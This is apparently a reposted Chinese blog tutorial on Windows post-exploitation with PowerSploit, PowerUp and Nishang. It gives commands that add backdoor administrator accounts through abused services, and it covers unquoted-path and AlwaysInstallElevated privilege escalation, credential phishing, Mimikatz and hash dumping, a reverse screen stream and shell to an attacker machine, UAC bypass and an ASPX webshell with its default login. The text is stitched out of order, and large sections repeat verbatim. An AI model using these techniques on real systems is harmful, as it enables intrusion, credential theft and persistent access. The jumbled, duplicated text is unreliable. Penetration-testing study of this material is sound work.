19. Write-ServiceBinary 预编译C#服务的可执行文件。默认创建一个默认管理员账号。可通过Command定制自己的命令。 执行方式: PSC:>Write-ServiceBinary -ServiceName VulnSVC # 添加默认账号 PSC:>Write-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn" # 指定添加域账号 PSC:>Write-ServiceBinary-ServiceName VulnSVC -UserName backdoor -Password Password123! # 指定添加用户,用户密码以及添加的用户组 PSC:> Write-ServiceBinary -ServiceName VulnSVC -Command "net ..." # 自定义执行命令
20. Install-ServiceBinary 通过Write-ServiceBinary写一个C#的服务用来添加用户。 执行方式: PSC:> Install-ServiceBinary -ServiceName DHCP PSC:> Install-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn" PSC:>Install-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123! PSC:> Install-ServiceBinary -ServiceName VulnSVC -Command "net ..." Write-ServiceBinary与Install-ServiceBinary不同的是前者生成可执行文件,后者直接安装服务。
PowerUP攻击模块实战演练:很多PowerUp模块不能一一演示,只针对性介绍几个常用模块的实战应用。
实战演练一:首先我们安装一个存在漏洞的服务环境: https://www.exploit-db.com/apps/4ebfe36538da7b518c2221e1abd8dcfc-pspro_50_3310.exe 安装好漏洞环境后,我们建一个普通用户:net user powerup 123456 /add 然后登录到这个新建的普通用户 我们可以把PowerUp脚本上传到目标服务器,或是远程内存加载 这里远程加载如下:
然后调用Invoke-AllChecks
先介绍下Unquoted Service Paths 简介 “包含空格但没有引号的服务路径”,利用windows解析文件路径的特性,如果一个服务的可执行文件路径设置不当,攻击者可构造对应的可执行文件,从而利用提权,PowerUp的相关模块可以帮助我们完成提权。
漏洞原理 这里假设有一个服务路径 C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe 带引号时:"C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe"会被看成一个完整的服务路径,故不会产生漏洞。 不带引号时:我们认为的服务路径是C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe,但是由于没有双引号的包裹,Windows会认为C:\Program空格后面的为Program这个程序的参数来进行启动服务。这样攻击者就可以命名一个为Program.exe的后门文件放在c盘下,进而等待含漏洞服务路径的启动或重启导致后门文件的执行。
根据前面调用Invoke-AllChecks,返回的结果存在包含空格但没有引号的服务路径 C:\Program Files (x86)\Photodex\ProShow Producer\ScsiAccess.exe 这时需要检测目录是否有写权限 C:\ 普通用户目录默认是不让写的 C:\Program Files (x86)\Photodex\ 可以使用cacls或icacls,可以看到当前用户不可写
实战演练二:
设置漏洞环境 管理员用户在“运行”设置框中输入“gpedit.msc”,打开组策略编辑器。 组策略——计算机配置——管理模板——Windows组件——Windows Installer——永远以高特权进行安装:选择启用。 设置完毕之后,会在两个注册表如下位置自动创建键值为”1″。 [HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001 防御的话,就是把上述启用的选项关闭
Nishang简介:Nishang是一款基于PowerShell的渗透测试专用工具,集成了框架、脚本和各种Payload,包括下载和执行、键盘记录、DNS、延时命令等脚本,被广泛应用于渗透测试的各个阶段。 下载地址如下: https://github.com/samratashok/nishang
下载完成后我们可以看到以下工具里面都包括一些什么功能目录
Nishang模块攻击实战:开始对部分模块的功能进行讲解: 1.Check-VM 它是用于检测当前的机器是否是一台已知的虚拟机的。它通过检测已知的一些虚拟机的指纹信息(如:Hyper-V, VMWare, Virtual PC, Virtual Box,Xen,QEMU)来识别,如下可看到是一台虚拟机
2. Invoke-CredentialsPhish 这个脚本用来欺骗用户,让用户输入密码,在不输入正确密码关闭不了对话框,只能强子结束进程 Invoke-CredentialsPhish
3. Get-PassHashes 在Administrator的权限下,可以dump出密码哈希值。这个脚本来自于msf中powerdump,但做出了修改,使得我们不再需要System权限就可以dump了
4. Invoke-Mimikatz 需要管理员权限,抓取密码
5. Show-TargetScreen 使用MJPEG传输目标机器的远程桌面的实时画面,在本机我们可以使用NC或者Powercat来进行监听。在本地使用支持MJPEG的浏览器(如:Firefox)访问本机对应监听端口,即可在浏览器上面看到远端传输回来的实时画面。 Victim(win7):Show-TargetScreen -IPAddres 192.168.199.129 -Port 5773 -Reverse Attacker(kali):netcat -nlvp 5773 | netcat -nlvp 8888 //这里我使用的neetcat
6. Get-PassHints 获取用户的密码提示信息,需要有Administrator权限来读取sam hive 有的时候可以根据提示信息来生成密码文件,大大提高爆破的成功率。还有的人会将明文密码记录在这个提示信息中
PowerShell交互式Shell:一、基于TCP协议的Powershell交互式Shell Invoke-PowerShellTcp是PowerShell交互式正向连接或反向连接shell,基于TCP协议。 参数介绍: -IPAddress
权限提升:权限提升是指利用操作系统或软件应用程序中的漏洞、设计缺陷或配置疏忽,让应用或用户获得对受保护资源的高级访问权限。 这里我们主要讲通过Bypass UAC来提权 UAC(User Account Control,用户账号控制)是微软为了提高系统安全性在Windows Vista中引入的技术。UAC要求用户在执行可能影响计算机运行的操作或在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员。UAC在操作启动前对用户身份进行验证,以避免恶意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行更改。在Windows Vista及以后的版本中,微软设置了安全控制策略,分为高、中、低三个等级。高等级的进程有管理员权限;中等级的进程有普通用户权限;低等级的进程,权限是有限的,以保证系统在受到安全威胁时造成的损害最小。在权限不够的情况下,访问系统磁盘的根目录、Windows目录,以及读写系统登录数据库等操作,都需要经常UAC(User Account Control,用户账号控制)的认证。
需要UAC的授权才能进行的操作列表如下:
1.配置Windows Update
2.增加、删除账户
3.更改账户类型
4.更改UAC的设置 安装ActiveX 安装、卸载程序 安装设备驱动程序
5.将文件移动/复制到Program Files或Windows目录下
6.查看其它用户的文件夹
UAC有如下四种设置要求: 始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户 仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地Windows程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户 仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度 从不提示:当用户为系统管理员时,所有程序都会以最高权限运行 如何Bypass UAC 我们可以找一些以高权限运行的,但是并没有uac提示的进程,然后利用ProcessMonitor寻找他启动调用却缺失的如dll、注册表键值,然后我们添加对应的值达到bypass uac的效果。
UAC有如下四种设置要求: 始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户 仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地Windows程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户 仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度 从不提示:当用户为系统管理员时,所有程序都会以最高权限运行 如何Bypass UAC 我们可以找一些以高权限运行的,但是并没有uac提示的进程,然后利用ProcessMonitor寻找他启动调用却缺失的如dll、注册表键值,然后我们添加对应的值达到bypass uac的效果。
Invoke-PsUACme 提供了一些绕过UAC的方式。这个模块用的是UACME项目的DLL来Bypass UAC。方法对照表如下
存放于nishang Antak-WebShell目录下,就是一个ASPX的大马,但是命令行是PowerShell,比单纯的cmd强大很多,功能比较齐全。 将Nishang的antak.aspx文件,放在IIS网站中 然后访问网站中的antak.aspx文件(出现登陆页面) Nishang的antak用户名:Disclaimer Nishang的antak密码:ForLegitUseOnly
登陆成功,进入欢迎页面 输入help,可以得到帮助信息 输入ls,可以查看网站的目录结构 点击download,可以下载网站的重要文件 点击upload the file,可以上传木马文件
————————————————
版权声明:本文为CSDN博主「~#114」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_67348669/article/details/123665992
ActivirusBypass:绕过杀毒软件查杀
CodeExecution:在目标主机上执行代码
Exfiltration:目标主机上的信息搜集工具
Mayhem:蓝屏等破坏性的脚本 Persistence:权限维持 Privsec:提权等脚本
Recon:以目标主机为跳板进行内网信息侦查
ScriptModification:在目标主机上创建或修改脚本
PowerSploit安装:下载PowerSploit脚本到服务器,搭建一个简易的WEB服务器。将PowerSploit目录放到WEB目录,使其可以通过HTTP访问到。 这里以kali服务器为例,介绍两种方式 第一种方式: 开启apache服务:service apache2 start 将powersploit目录放到/var/www/html/中 第二种方式: 切换到powersploit目录,然后执行如下命令开启WEB服务器 python3 -m http.server 8080 Git clone https://github.com/PowerShellMafia/PowerSploit
在浏览器中打开WEB服务器地址,如下图所示
PowerSploit脚本攻击实战:PowerSploit提供了各类攻击脚本,数量相当多,这里介绍一些在实战中使用比较多的脚本,其他的大家可以尝试使用。 利用这些脚本一般是通过我们前期获取的目标shell,在命令行中远程下载这些脚本,在目标服务器上使用。 为方便,这里我们直接在目标服务器做这些操作。
Invoke-Shellcode脚本:CodeExecution模块下的Invoke-Sellcode脚本常用于将ShellCode插入本地Powershell中或者指定的进程ID。 直接执行ShellCode反弹Meterpreter Shell 首先在MSF里使用reverse_https模块进行监听
Invoke-Mimikatz 信息收集:Mimikatz本身在内网渗透中作用很大,PowerSploit将其集成到Exfiltration模块下,Mimikatz用来抓取主机密码,注意的是这个脚本的运行需要管理员权限。
然后载入脚本
Get-Keystrokes 键盘记录器
PowerUP攻击模块:Powerup是Privesc模块下的一个脚本,功能相当强大,拥有众多实用的脚本来帮助我们寻找目标主机Windows服务漏洞进行提权。 通常,在Windows下面我们可以通过内核漏洞来提升权限,但是,我们常常会碰到所处服务器通过内核漏洞提权是行不通的,这个时候,我们就需要通过脆弱的Windows服务提权,比如我们替换掉服务所依赖的DLL文件,当服务重启时,加载我们替换的DLL文件从而完成比如添加管理员账号的操作。或者通过常见的Mssql,Mysql等服务,通过其继承的系统权限来完成提权等等,而今天我将介绍一个非常实用的Powerup模块,此模块可以在内核提权行不通的时候,帮助我们寻找服务器脆弱点进而通过脆弱点实现提权的目的。
如果要查看各个模块的详细说明,可以输入get-help [cmdlet] –full命令查看,比如 Get-Help Invoke-AllChecks -full
下面开始对模块介绍: 1.Invoke-AllChecks
执行所有的脚本来检查。
执行方式: PS C:> Invoke-AllChecks
2.Find-PathDLLHijack
检查当前%PATH%是否存在哪些目录是当前用户可以写入的
执行方式: PS C:>Find-Pathdllhijack
3. Get-ApplicationHost 从系统上的applicationHost.config文件恢复加密过的应用池和虚拟目录的密码。
执行方式: PS C:>get-ApplicationHost
PS C:>get-ApplicationHost | Format-Table -Autosize # 列表显示
4. Get-RegistryAlwaysInstallElevated 检查AlwaysInstallElevated注册表项是否被设置,如果被设置,意味着的MSI文件是以system权限运行的。 执行方式: PS C:>Get-RegistryAlwaysInstallElevated
5. Get-RegistryAutoLogon 检测Winlogin注册表AutoAdminLogon项有没有被设置,可查询默认的用户名和密码。 执行方式: PS C:> Get-RegistryAutoLogon
6. Get-ServiceDetail 返回某服务的信息。 执行方式: PS C:> Get-ServiceDetail -ServiceName Dhcp #获取DHCP服务的详细信息
7. Get-ServiceFilePermission 检查当前用户能够在哪些服务的目录写入相关联的可执行文件,通过这些文件可达到提权的目的。 执行方式: C:> Get-ServiceFilePermission
8. Test-ServiceDaclPermission 检查所有可用的服务,并尝试对这些打开的服务进行修改,如果可修改,则返回该服务对象。 执行方式: PS C:>Test-ServiceDaclPermission
9. Get-ServiceUnquoted 检查服务路径,返回包含空格但是不带引号的服务路径。 此处利用的windows的一个逻辑漏洞,即当文件包含空格时,windows API会解释为两个路径,并将这两个文件同时执行,有些时候可能会造成权限的提升。 比如C:program fileshello.exe ,会被解释为C:program.exe以及C:program fileshello.exe 执行方式: PS C:>Get-ServiceUnquoted
10. Get-UnattendedInstallFile 检查几个路径,查找是否存在这些文件,在这些文件里可能包含有部署凭据。这些文件包括: c:\sysprep\sysprep.xml c:\sysprep\sysprep.inf c:sysprep.inf c:\windows\Panther\Unattended.xml c:\windows\Panther\UnattendUnattended.xml c:\windows\Panther\Unattend.xml c:\windows\Panther\UnattendUnattend.xml c:\windows\S\ystem32\Sysprep\unattend.xml c:\windows\System32\Sysprep\Panther\unattend.xml 执行方式: PS C:> Get-UnattendedInstallFile
11. Get-ModifiableRegistryAutoRun 检查开机自启的应用程序路径和注册表键值,返回当前用户可修改的程序路径。 注册表检查的键值为: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceService HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService 执行方式: PS C:>Get-ModifiableRegistryAutoRun
12. Get-ModifiableScheduledTaskFile 返回当前用户能够修改的计划任务程序的名称和路径。 执行方式: PS C:>Get-ModifiableScheduledTaskFile
13. Get-Webconfig 返回当前服务器上的web.config文件中的数据库连接字符串的明文。 执行方式: PS C:>get-webconfig
14. Invoke-ServiceAbuse 用来通过修改服务添加用户到指定组,并可以通过定制-cmd参数触发添加用户的自定义命令。 执行方式: PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC # 添加默认账号 PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName "TESTLABjohn" # 指定添加域账号 PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName backdoor -Password password -LocalGroup "Administrators" # 指定添加用户,用户密码以及添加的用户组。 PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -Command "net ..."# 自定义执行命令
15. Restore-ServiceBinary 恢复服务的可执行文件到原始目录。 执行方式: PS C:> Restore-ServiceBinary -ServiceName VulnSVC
16. Test-ServiceDaclPermission 检查某个用户是否在一个服务有自由访问控制的权限,返回true或false。 执行方式: PS C:> Restore-ServiceBinary -ServiceName VulnSVC
17. Write-HijackDll 输出一个自定义命令并且能够自删除的bat文件到$env:Tempdebug.bat,并输出一个能够启动这个bat文件的dll。
18.Write-UserAddMSI 生成一个安装文件,运行这个安装文件,则弹出添加用户的框。 执行方式: PS C:> Write-UserAddMSI
19. Write-ServiceBinary 预编译C#服务的可执行文件。默认创建一个默认管理员账号。可通过Command定制自己的命令。 执行方式: PSC:>Write-ServiceBinary -ServiceName VulnSVC # 添加默认账号 PSC:>Write-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn" # 指定添加域账号 PSC:>Write-ServiceBinary-ServiceName VulnSVC -UserName backdoor -Password Password123! # 指定添加用户,用户密码以及添加的用户组 PSC:> Write-ServiceBinary -ServiceName VulnSVC -Command "net ..." # 自定义执行命令
20. Install-ServiceBinary 通过Write-ServiceBinary写一个C#的服务用来添加用户。 执行方式: PSC:> Install-ServiceBinary -ServiceName DHCP PSC:> Install-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn" PSC:>Install-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123! PSC:> Install-ServiceBinary -ServiceName VulnSVC -Command "net ..." Write-ServiceBinary与Install-ServiceBinary不同的是前者生成可执行文件,后者直接安装服务。
PowerUP攻击模块实战演练:很多PowerUp模块不能一一演示,只针对性介绍几个常用模块的实战应用。
实战演练一:首先我们安装一个存在漏洞的服务环境: https://www.exploit-db.com/apps/4ebfe36538da7b518c2221e1abd8dcfc-pspro_50_3310.exe 安装好漏洞环境后,我们建一个普通用户:net user powerup 123456 /add 然后登录到这个新建的普通用户 我们可以把PowerUp脚本上传到目标服务器,或是远程内存加载 这里远程加载如下:
然后调用Invoke-AllChecks
先介绍下Unquoted Service Paths 简介 “包含空格但没有引号的服务路径”,利用windows解析文件路径的特性,如果一个服务的可执行文件路径设置不当,攻击者可构造对应的可执行文件,从而利用提权,PowerUp的相关模块可以帮助我们完成提权。
漏洞原理 这里假设有一个服务路径 C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe 带引号时:"C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe"会被看成一个完整的服务路径,故不会产生漏洞。 不带引号时:我们认为的服务路径是C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe,但是由于没有双引号的包裹,Windows会认为C:\Program空格后面的为Program这个程序的参数来进行启动服务。这样攻击者就可以命名一个为Program.exe的后门文件放在c盘下,进而等待含漏洞服务路径的启动或重启导致后门文件的执行。
根据前面调用Invoke-AllChecks,返回的结果存在包含空格但没有引号的服务路径 C:\Program Files (x86)\Photodex\ProShow Producer\ScsiAccess.exe 这时需要检测目录是否有写权限 C:\ 普通用户目录默认是不让写的 C:\Program Files (x86)\Photodex\ 可以使用cacls或icacls,可以看到当前用户不可写
实战演练二:
设置漏洞环境 管理员用户在“运行”设置框中输入“gpedit.msc”,打开组策略编辑器。 组策略——计算机配置——管理模板——Windows组件——Windows Installer——永远以高特权进行安装:选择启用。 设置完毕之后,会在两个注册表如下位置自动创建键值为”1″。 [HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001 防御的话,就是把上述启用的选项关闭
Nishang简介:Nishang是一款基于PowerShell的渗透测试专用工具,集成了框架、脚本和各种Payload,包括下载和执行、键盘记录、DNS、延时命令等脚本,被广泛应用于渗透测试的各个阶段。 下载地址如下: https://github.com/samratashok/nishang
下载完成后我们可以看到以下工具里面都包括一些什么功能目录
Nishang模块攻击实战:开始对部分模块的功能进行讲解: 1.Check-VM 它是用于检测当前的机器是否是一台已知的虚拟机的。它通过检测已知的一些虚拟机的指纹信息(如:Hyper-V, VMWare, Virtual PC, Virtual Box,Xen,QEMU)来识别,如下可看到是一台虚拟机
2. Invoke-CredentialsPhish 这个脚本用来欺骗用户,让用户输入密码,在不输入正确密码关闭不了对话框,只能强子结束进程 Invoke-CredentialsPhish
3. Get-PassHashes 在Administrator的权限下,可以dump出密码哈希值。这个脚本来自于msf中powerdump,但做出了修改,使得我们不再需要System权限就可以dump了
4. Invoke-Mimikatz 需要管理员权限,抓取密码
5. Show-TargetScreen 使用MJPEG传输目标机器的远程桌面的实时画面,在本机我们可以使用NC或者Powercat来进行监听。在本地使用支持MJPEG的浏览器(如:Firefox)访问本机对应监听端口,即可在浏览器上面看到远端传输回来的实时画面。 Victim(win7):Show-TargetScreen -IPAddres 192.168.199.129 -Port 5773 -Reverse Attacker(kali):netcat -nlvp 5773 | netcat -nlvp 8888 //这里我使用的neetcat
6. Get-PassHints 获取用户的密码提示信息,需要有Administrator权限来读取sam hive 有的时候可以根据提示信息来生成密码文件,大大提高爆破的成功率。还有的人会将明文密码记录在这个提示信息中
PowerShell交互式Shell:一、基于TCP协议的Powershell交互式Shell Invoke-PowerShellTcp是PowerShell交互式正向连接或反向连接shell,基于TCP协议。 参数介绍: -IPAddress
权限提升:权限提升是指利用操作系统或软件应用程序中的漏洞、设计缺陷或配置疏忽,让应用或用户获得对受保护资源的高级访问权限。 这里我们主要讲通过Bypass UAC来提权 UAC(User Account Control,用户账号控制)是微软为了提高系统安全性在Windows Vista中引入的技术。UAC要求用户在执行可能影响计算机运行的操作或在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员。UAC在操作启动前对用户身份进行验证,以避免恶意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行更改。在Windows Vista及以后的版本中,微软设置了安全控制策略,分为高、中、低三个等级。高等级的进程有管理员权限;中等级的进程有普通用户权限;低等级的进程,权限是有限的,以保证系统在受到安全威胁时造成的损害最小。在权限不够的情况下,访问系统磁盘的根目录、Windows目录,以及读写系统登录数据库等操作,都需要经常UAC(User Account Control,用户账号控制)的认证。
需要UAC的授权才能进行的操作列表如下:
1.配置Windows Update
2.增加、删除账户
3.更改账户类型
4.更改UAC的设置 安装ActiveX 安装、卸载程序 安装设备驱动程序
5.将文件移动/复制到Program Files或Windows目录下
6.查看其它用户的文件夹
UAC有如下四种设置要求: 始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户 仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地Windows程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户 仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度 从不提示:当用户为系统管理员时,所有程序都会以最高权限运行 如何Bypass UAC 我们可以找一些以高权限运行的,但是并没有uac提示的进程,然后利用ProcessMonitor寻找他启动调用却缺失的如dll、注册表键值,然后我们添加对应的值达到bypass uac的效果。
UAC有如下四种设置要求: 始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户 仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地Windows程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户 仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度 从不提示:当用户为系统管理员时,所有程序都会以最高权限运行 如何Bypass UAC 我们可以找一些以高权限运行的,但是并没有uac提示的进程,然后利用ProcessMonitor寻找他启动调用却缺失的如dll、注册表键值,然后我们添加对应的值达到bypass uac的效果。
Invoke-PsUACme 提供了一些绕过UAC的方式。这个模块用的是UACME项目的DLL来Bypass UAC。方法对照表如下
存放于nishang Antak-WebShell目录下,就是一个ASPX的大马,但是命令行是PowerShell,比单纯的cmd强大很多,功能比较齐全。 将Nishang的antak.aspx文件,放在IIS网站中 然后访问网站中的antak.aspx文件(出现登陆页面) Nishang的antak用户名:Disclaimer Nishang的antak密码:ForLegitUseOnly
登陆成功,进入欢迎页面 输入help,可以得到帮助信息 输入ls,可以查看网站的目录结构 点击download,可以下载网站的重要文件 点击upload the file,可以上传木马文件